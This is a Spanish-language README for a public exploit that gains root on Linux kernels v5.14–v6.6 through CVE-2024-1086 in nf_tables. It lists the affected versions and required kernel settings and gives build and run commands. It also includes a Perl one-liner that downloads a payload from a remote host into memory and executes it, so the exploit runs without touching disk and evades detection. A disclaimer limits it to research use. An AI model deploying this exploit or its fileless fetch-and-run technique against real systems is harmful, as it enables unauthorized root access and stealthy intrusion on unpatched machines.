
Prueba de concepto (Proof-of-Concept) universal de escalada de privilegios local para CVE-2024-1086, que funciona en la mayoría de los kernels de Linux entre v5.14 y v6.6, incluyendo Debian, Ubuntu y KernelCTF. La tasa de éxito es del 99.4% en las imágenes de KernelCTF.
https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de
Un write-up completo del exploit, incluida la información de contexto y un montón de diagramas útiles, se puede encontrar en la entrada de blog Flipping Pages.
El exploit afecta a las versiones desde (incluida) v5.14 hasta (incluida) v6.6, excluyendo las ramas parcheadas v5.15.149>, v6.1.76>, v6.6.15>. El parche para estas versiones se publicó en febrero de 2024. La vulnerabilidad subyacente afecta a todas las versiones (excluyendo las ramas estables parcheadas) desde v3.15 hasta v6.8-rc1.
Advertencias:
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y (incluyendo Ubuntu v6.5)CONFIG_USER_NS=y), que esos namespaces de usuario no tengan privilegios (comando sh sysctl kernel.unprivileged_userns_clone = 1), y que nf_tables esté habilitado (kconfig CONFIG_NF_TABLES=y). Por defecto, todo esto está habilitado en Debian, Ubuntu y KernelCTF. Otras distribuciones no han sido probadas, pero podrían funcionar también. Adicionalmente, el exploit solo ha sido probado en x64/amd64.Los valores predeterminados deberían funcionar directamente en Debian, Ubuntu y KernelCTF con una shell local. En configuraciones/distribuciones no probadas, asegúrese de que los valores de kconfig coincidan con el kernel objetivo. Estos se pueden especificar en src/config.h. Si está ejecutando el exploit en una máquina con más de 32GiB de memoria física, asegúrese de aumentar CONFIG_PHYS_MEM.
Si está ejecutando el exploit a través de SSH (hacia la máquina de prueba) o una shell inversa, es posible que desee cambiar CONFIG_REDIRECT_LOG a 1 para evitar actividad de red innecesaria.
Si esto le resulta poco práctico, hay un binario x64 compilado con la configuración predeterminada.
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
Binario: CVE-2024-1086/exploit
Ejecutar el exploit es igual de trivial:
./exploit
La ejecución sin archivos también es compatible, en caso de situaciones de pentest donde sea necesario evitar detecciones. Sin embargo, Perl debe estar instalado en el objetivo:
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
Los programas y scripts ("programas") en este directorio/carpeta/repositorio de software ("repositorio") se publican, desarrollan y distribuyen únicamente con fines educativos/de investigación. Yo ("el creador") no apruebo ningún uso malicioso o ilegal de los programas en este repositorio, ya que la intención es compartir investigación y no realizar actividades ilegales con ella. No soy legalmente responsable de cualquier cosa que hagas con los programas en este repositorio.